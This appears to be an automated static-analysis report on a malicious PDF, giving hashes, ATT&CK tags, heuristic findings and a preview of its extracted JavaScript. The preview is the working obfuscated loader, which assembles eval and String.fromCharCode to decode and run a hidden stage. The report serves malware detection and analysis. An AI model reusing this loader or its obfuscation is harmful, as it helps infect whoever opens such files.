Malicious PDF — malware analysis report

Static analysis result for SHA-256 61782549ff07e630…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-08
MD5: 2c4bd7c010dd79fc16434d78e08a0cd5 SHA-1: 22506ecae433d261861506c90e298fe3b3d8428b SHA-256: 61782549ff07e6303ad941d047223e15b1a2e707f41e94bec82d0e4ff353f1f4
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated but appears to be designed to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness. The script's logic involves string manipulation and function calls that suggest it is attempting to fetch and run external code, likely leading to further compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF23 536 bytes
SHA-256: 7c48a78d6f7d7f68228a130bf7b1f367c3720e115a4b8991c64ff5b9cd0c1378
Preview script
First 1,000 lines of the extracted script
ylyo='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('dso=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=dso[v+a[6]](t.length + 8,3);
s+='str';
q=dso[s](1,9);
qjbos=e('S'+'tring.fro'+q);
q=dso[s](14);
gri = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=gri.length');
for (i = 0; i < k; i+=2) {
	cxvfw = gri[i+1] + ('erybjkerl',gri[i]);
	ylyo += qjbos(cxvfw);
}
e(ylyo);

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